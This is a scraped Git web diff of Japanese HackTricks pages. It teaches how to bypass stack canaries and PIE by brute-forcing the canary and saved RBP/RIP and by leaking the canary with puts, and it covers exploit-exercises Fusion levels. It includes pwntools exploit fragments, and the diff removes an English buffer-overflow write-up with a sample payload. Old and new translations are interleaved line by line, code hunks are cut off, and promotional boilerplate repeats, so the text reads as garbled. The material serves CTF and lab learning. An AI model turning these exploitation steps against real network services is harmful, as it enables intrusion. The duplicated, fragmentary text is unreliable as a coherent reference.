- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
|
||||
- **ハッキングのトリックを共有するには、[hacktricks repo](https://github.com/carlospolop/hacktricks)と[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
|
||||
* **HackTricksにあなたの会社を広告掲載したい場合**や**HackTricksをPDFでダウンロードしたい場合**は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください。
|
||||
* [**公式PEASS & HackTricksグッズ**](https://peass.creator-spring.com)を入手する
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションをチェックする
|
||||
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に**参加する**か、[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)で**フォロー**してください。
|
||||
* **HackTricks**の[**GitHubリポジトリ**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)にPRを提出して、あなたのハッキングテクニックを共有してください。
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
**もし、キャナリーとPIE(Position Independent Executable)で保護されたバイナリに直面している場合、それらをバイパスする方法を見つける必要があるでしょう。**
|
||||
**カナリアとPIE(位置独立実行可能ファイル)によって保護されたバイナリに直面している場合、それらをバイパスする方法を見つける必要があるかもしれません。**
|
||||
|
||||
![](<../../.gitbook/assets/image (144).png>)
|
||||
|
||||
{% hint style="info" %}
|
||||
**`checksec`**は、バイナリがキャナリーで保護されていることを見つけることができない場合があります。これは、静的にコンパイルされ、関数を識別することができない場合です。\
|
||||
ただし、関数呼び出しの最初にスタックに値が保存され、この値が終了前にチェックされる場合、手動でこれを確認することができます。
|
||||
**`checksec`** は、バイナリが静的にコンパイルされていて関数を識別できない場合、カナリアによって保護されていることを見つけられないかもしれません。
|
||||
しかし、関数呼び出しの開始時にスタックに値が保存され、終了前にこの値がチェックされることを見つけた場合、手動でこれに気づくことができます。
|
||||
{% endhint %}
|
||||
|
||||
# キャナリーのブルートフォース
|
||||
# カナリアのブルートフォース
|
||||
|
||||
単純なキャナリーをバイパスする最良の方法は、バイナリが**新しい接続を確立するたびに子プロセスをフォークするプログラム**である場合です(ネットワークサービス)。なぜなら、接続するたびに**同じキャナリーが使用される**からです。
|
||||
シンプルなカナリアをバイパスする最良の方法は、バイナリが新しい接続を確立するたびに**子プロセスをフォークするプログラム**である場合です(ネットワークサービス)。なぜなら、接続するたびに**同じカナリアが使用される**からです。
|
||||
|
||||
そのため、キャナリーをバイパスする最良の方法は、単に**1文字ずつキャナリーをブルートフォースする**ことです。推測されたキャナリーバイトが正しいかどうかは、プログラムがクラッシュしたか、通常のフローを続けたかどうかで確認できます。この例では、関数は**8バイトのキャナリー(x64)**をブルートフォースし、正しく推測されたバイトと誤ったバイトを**サーバーからの応答**の有無で区別します(他の状況では**try/except**を使用する方法もあります):
|
||||
そのため、カナリアをバイパスする最良の方法は、単に**文字ごとにブルートフォースする**ことです。そして、プログラムがクラッシュしたか通常のフローを続けているかをチェックすることで、推測したカナリアバイトが正しいかどうかを判断できます。この例では、関数が**8バイトのカナリア(x64)をブルートフォース**し、サーバーから**レスポンス**が返されるかどうかを**チェックする**ことで、正しいバイトと間違ったバイトを区別します(**他の状況**では、**try/except**を使用する別の方法があります):
|
||||
|
||||
## 例1
|
||||
## 例 1
|
||||
|
||||
この例は64ビット用に実装されていますが、32ビット用に簡単に実装することもできます。
|
||||
```python
|
||||
|
@ -73,8 +71,8 @@ CANARY = u64(base_can[len(base_canary)-8:]) #Get the canary
|
|||
```
|
||||
## 例2
|
||||
|
||||
これは32ビット用に実装されていますが、簡単に64ビットに変更できます。\
|
||||
また、この例では**プログラムが最初に入力のサイズを示すバイトを期待している**ことに注意してください。
|
||||
これは32ビット用に実装されていますが、これを64ビットに簡単に変更することができます。\
|
||||
また、この例では**プログラムは最初に入力サイズを示すバイトを期待し**、その後にペイロードが続くことに注意してください。
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
|
@ -115,22 +113,22 @@ target = process('./feedme')
|
|||
canary = breakCanary()
|
||||
log.info(f"The canary is: {canary}")
|
||||
```
|
||||
# キャナリーの表示
|
||||
# Print Canary
|
||||
|
||||
キャナリーをバイパスする別の方法は、**表示する**ことです。\
|
||||
スタックオーバーフローに対して脆弱なプログラムが、**スタックオーバーフローの一部を指す**`puts`関数を実行できる状況を想像してみてください。攻撃者は、キャナリーの**最初のバイトがヌルバイト**(`\x00`)であり、残りのキャナリーが**ランダムなバイト**であることを知っています。その後、攻撃者は、オーバーフローを作成して、**キャナリーの最初のバイトだけが残るようにスタックを上書き**することができます。\
|
||||
次に、攻撃者は、ペイロードの中間部分で**puts機能を呼び出し**、キャナリーの**すべてを表示**します(最初のヌルバイトを除く)。\
|
||||
この情報を使用して、攻撃者はキャナリーを知り、(同じプログラムセッション内で)新しい攻撃を作成して送信することができます。
|
||||
カナリアをバイパスする別の方法は、それを**印刷する**ことです。\
|
||||
スタックオーバーフローに**脆弱なプログラム**がスタックオーバーフローの**部分**を指す**puts**関数を実行できる状況を想像してください。攻撃者はカナリアの**最初のバイトがヌルバイト**(`\x00`)であり、残りのカナリアは**ランダム**なバイトであることを知っています。その後、攻撃者はカナリアの最初のバイトだけを上書きするオーバーフローを作成するかもしれません。\
|
||||
次に、攻撃者はペイロードの中間で**puts機能を呼び出し**、カナリアを**すべて印刷します**(最初のヌルバイトを除く)。\
|
||||
この情報を持って、攻撃者はカナリアを知っている(同じプログラムセッション内で)新しい攻撃を**作成して送信する**ことができます。
|
||||
|
||||
もちろん、この戦術は非常に**制限されています**。攻撃者は、自分のペイロードの**内容を表示**してキャナリーを**外部に漏洩**し、その後、新しいペイロードを作成して(**同じプログラムセッション**内で)**実際のバッファオーバーフロー**を送信できる必要があります。\
|
||||
CTFの例:[https://guyinatuxedo.github.io/08-bof\_dynamic/csawquals17\_svc/index.html](https://guyinatuxedo.github.io/08-bof\_dynamic/csawquals17\_svc/index.html)
|
||||
明らかに、この戦術は非常に**制限されています**。攻撃者はペイロードの**内容**を**印刷して**カナリアを**抽出**し、新しいペイロードを作成し(**同じプログラムセッション内で**)、**実際のバッファオーバーフロー**を**送信**することができる必要があります。\
|
||||
CTFの例: [https://guyinatuxedo.github.io/08-bof\_dynamic/csawquals17\_svc/index.html](https://guyinatuxedo.github.io/08-bof\_dynamic/csawquals17\_svc/index.html)
|
||||
|
||||
# PIE
|
||||
|
||||
PIEをバイパスするためには、いくつかのアドレスを**漏洩**する必要があります。バイナリがアドレスを漏洩していない場合、脆弱な関数のスタックに保存された**RBPとRIPをブルートフォース**するのが最善です。\
|
||||
例えば、キャナリーとPIEの両方を使用してバイナリを保護している場合、キャナリーをブルートフォースし、次の8バイト(x64)が保存された**RBP**であり、次の8バイトが保存された**RIP**であることがわかります。
|
||||
PIEをバイパスするには、**何らかのアドレスを漏らす**必要があります。そして、バイナリがアドレスを漏らしていない場合、それを行う最善の方法は、脆弱な関数のスタックに保存されている**RBPとRIPをブルートフォースする**ことです。\
|
||||
例えば、バイナリが**カナリア**と**PIE**を使用して保護されている場合、まずカナリアをブルートフォースし、次の8バイト(x64)は保存された**RBP**であり、次の8バイトは保存された**RIP**になります。
|
||||
|
||||
バイナリからRBPとRIPをブルートフォースするためには、プログラムが何かを出力するか、クラッシュしない場合に、有効な推測されたバイトが正しいことがわかります。キャナリーのブルートフォースに使用されるのと同じ関数を使用して、RBPとRIPをブルートフォースすることができます:
|
||||
バイナリからRBPとRIPをブルートフォースするには、プログラムが何かを出力するか、単にクラッシュしない場合、有効な推測されたバイトが正しいと判断できます。カナリアをブルートフォースするために提供された**同じ関数**を使用して、RBPとRIPをブルートフォースすることができます:
|
||||
```python
|
||||
print("Brute-Forcing RBP")
|
||||
base_canary_rbp = get_bf(base_canary)
|
||||
|
@ -141,33 +139,31 @@ RIP = u64(base_canary_rbp_rip[len(base_canary_rbp_rip)-8:])
|
|||
```
|
||||
## ベースアドレスの取得
|
||||
|
||||
PIEを打破するために必要な最後のステップは、漏洩したアドレスから有用なアドレスを計算することです。具体的には、**RBP**と**RIP**です。
|
||||
PIEを克服するために必要な最後のことは、**リークされたアドレスから有用なアドレスを計算する**ことです:**RBP**と**RIP**。
|
||||
|
||||
**RBP**からは、スタック内にシェルを書き込む場所を計算することができます。これは、スタック内に文字列"/bin/sh\x00"を書き込む場所を知るために非常に役立ちます。漏洩したRBPとシェルコードの間の距離を計算するには、**RBPを漏洩させた後にブレークポイントを設定**し、**シェルコードの位置を確認**してから、シェルコードとRBPの間の距離を計算することができます。
|
||||
**RBP**からは、**スタック内にシェルをどこに書いているか**を計算できます。スタック内に_"/bin/sh\x00"_という文字列をどこに書くかを知るのに非常に役立ちます。リークされたRBPとシェルコードの間の距離を計算するには、**RBPをリークした後にブレークポイントを設定**し、**シェルコードがどこにあるかを確認**します。その後、シェルコードとRBPの間の距離を計算できます:
|
||||
```python
|
||||
INI_SHELLCODE = RBP - 1152
|
||||
```
|
||||
**RIP**からは、**PIEバイナリのベースアドレス**を計算することができます。これは、**有効なROPチェーン**を作成するために必要なものです。
|
||||
ベースアドレスを計算するには、単に`objdump -d vunbinary`を実行し、最新のアドレスを逆アセンブルして確認します。
|
||||
**RIP** から **PIEバイナリのベースアドレス** を計算することができます。これは、**有効なROPチェーン** を作成するために必要です。
|
||||
ベースアドレスを計算するには、`objdump -d vunbinary` を実行して、最新のアドレスをチェックします:
|
||||
|
||||
![](<../../.gitbook/assets/image (145).png>)
|
||||
|
||||
この例では、すべてのコードを特定するために**1バイトと半分だけが必要**であることがわかります。したがって、この状況ではベースアドレスは**漏洩したRIPが"000"で終わる**ことになります。例えば、もし _0x562002970**ecf**_ が漏洩した場合、ベースアドレスは _0x562002970**000**_ です。
|
||||
この例では、コード全体を特定するために **1バイト半が必要です**。したがって、この状況ではベースアドレスは **"000"で終わる漏洩したRIP** になります。例えば、_0x562002970**ecf**_ を漏洩した場合、ベースアドレスは _0x562002970**000**_ です。
|
||||
```python
|
||||
elf.address = RIP - (RIP & 0xfff)
|
||||
```
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>AWSハッキングをゼロからヒーローまで学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
- **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
HackTricksをサポートする他の方法:
|
||||
|
||||
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください、私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクション
|
||||
|
||||
- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう
|
||||
|
||||
- **[💬](https://emojipedia.org/speech-balloon/) Discordグループ**に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で私を**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
|
||||
- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
|
||||
* **HackTricksにあなたの会社を広告したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください。
|
||||
* [**公式PEASS & HackTricksグッズ**](https://peass.creator-spring.com)を入手する
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションをチェックする
|
||||
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に**参加する**か、[**telegramグループ**](https://t.me/peass)に参加する、または**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)を**フォローする**。
|
||||
* [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出して、あなたのハッキングのコツを**共有する**。
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,16 +1,14 @@
|
|||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>AWSハッキングをゼロからヒーローまで学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
- **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
HackTricksをサポートする他の方法:
|
||||
|
||||
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
|
||||
|
||||
- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
|
||||
- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
|
||||
- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
|
||||
* **HackTricksにあなたの会社を広告したい場合**、または**HackTricksをPDFでダウンロードしたい場合**は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**公式PEASS & HackTricksグッズ**](https://peass.creator-spring.com)を入手する
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションをチェックする
|
||||
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に**参加する**か、[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)を**フォローする**。
|
||||
* [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出して、あなたのハッキングのコツを**共有する**。
|
||||
|
||||
</details>
|
||||
```python
|
||||
|
@ -153,16 +151,14 @@ P.interactive()
|
|||
```
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>AWSハッキングをゼロからヒーローまで学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
- **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
HackTricksをサポートする他の方法:
|
||||
|
||||
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
|
||||
|
||||
- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
|
||||
- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
|
||||
- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
|
||||
* **HackTricksにあなたの会社を広告したい場合**、または**HackTricksをPDFでダウンロードしたい場合**は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**公式PEASS & HackTricksグッズ**](https://peass.creator-spring.com)を入手する
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションをチェックする
|
||||
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に**参加する**か、[**テレグラムグループ**](https://t.me/peass)に参加する、または**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)を**フォローする**。
|
||||
* **HackTricks**の[**GitHubリポジトリ**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)にPRを提出して、あなたのハッキングのコツを共有する。
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,16 +1,14 @@
|
|||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>AWSハッキングをゼロからヒーローまで学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
- **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
HackTricksをサポートする他の方法:
|
||||
|
||||
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
|
||||
|
||||
- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
|
||||
- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
|
||||
- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
|
||||
* **HackTricksにあなたの会社を広告したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**公式PEASS & HackTricksグッズ**](https://peass.creator-spring.com)を入手する
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションをチェックする
|
||||
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に**参加する**か、[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)を**フォローする**。
|
||||
* [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出して、あなたのハッキングのコツを**共有する**。
|
||||
|
||||
</details>
|
||||
|
||||
|
@ -19,8 +17,8 @@
|
|||
|
||||
[http://exploit-exercises.lains.space/fusion/level00/](http://exploit-exercises.lains.space/fusion/level00/)
|
||||
|
||||
1. EIPを変更するためのオフセットを取得します。
|
||||
2. EIPにシェルコードのアドレスを入れます。
|
||||
1. EIPを変更するためのオフセットを取得する
|
||||
2. EIPにシェルコードのアドレスを入れる
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
|
@ -47,63 +45,6 @@ r.send(buf)
|
|||
r.interactive()
|
||||
```
|
||||
# レベル01
|
||||
|
||||
## Description
|
||||
|
||||
In this level, we will exploit a basic buffer overflow vulnerability in the `fusion` binary to gain a shell.
|
||||
|
||||
## Vulnerable Code
|
||||
|
||||
```c
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
|
||||
void vuln(char *input) {
|
||||
char buffer[64];
|
||||
strcpy(buffer, input);
|
||||
printf("You entered: %s\n", buffer);
|
||||
}
|
||||
|
||||
int main(int argc, char **argv) {
|
||||
if (argc != 2) {
|
||||
printf("Usage: %s <input>\n", argv[0]);
|
||||
exit(1);
|
||||
}
|
||||
vuln(argv[1]);
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
|
||||
## Exploitation
|
||||
|
||||
The vulnerable code has a buffer overflow vulnerability in the `vuln` function. It uses the `strcpy` function to copy the user input into a fixed-size buffer of 64 bytes, which can be overflowed.
|
||||
|
||||
To exploit this vulnerability, we need to provide an input that is longer than 64 bytes to overwrite the return address of the `vuln` function. By overwriting the return address, we can redirect the program's execution flow to a shellcode that gives us a shell.
|
||||
|
||||
## Solution
|
||||
|
||||
We can create a payload that consists of padding, a new return address, and shellcode. The padding is used to fill the buffer and reach the return address. The new return address should point to the start of the shellcode.
|
||||
|
||||
To find the offset required to overwrite the return address, we can use a tool like `gdb` to debug the program and examine the memory layout. Once we know the offset, we can craft the payload accordingly.
|
||||
|
||||
Here is an example payload:
|
||||
|
||||
```python
|
||||
import struct
|
||||
|
||||
padding = b"A" * 64
|
||||
return_address = struct.pack("<I", 0xdeadbeef) # Replace with the correct address
|
||||
shellcode = b"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" # Replace with your shellcode
|
||||
|
||||
payload = padding + return_address + shellcode
|
||||
|
||||
# Run the vulnerable program with the payload as input
|
||||
```
|
||||
|
||||
Replace `0xdeadbeef` with the correct address of the start of the shellcode. Replace the `shellcode` variable with your own shellcode.
|
||||
|
||||
By running the vulnerable program with the crafted payload as input, we should be able to gain a shell.
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
|
@ -131,16 +72,14 @@ r.interactive()
|
|||
```
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>AWSハッキングをゼロからヒーローまで学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
- **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
HackTricksをサポートする他の方法:
|
||||
|
||||
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
|
||||
|
||||
- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
|
||||
- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
|
||||
- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
|
||||
* **HackTricksにあなたの会社を広告したい場合**、または**HackTricksをPDFでダウンロードしたい場合**は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**公式PEASS & HackTricksグッズ**](https://peass.creator-spring.com)を入手する
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションをチェックする
|
||||
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に**参加する**か、[**テレグラムグループ**](https://t.me/peass)に参加する、または**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)を**フォローする**。
|
||||
* [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出して、あなたのハッキングのコツを**共有する**。
|
||||
|
||||
</details>
|
||||
|
|
Loading…
Reference in a new issue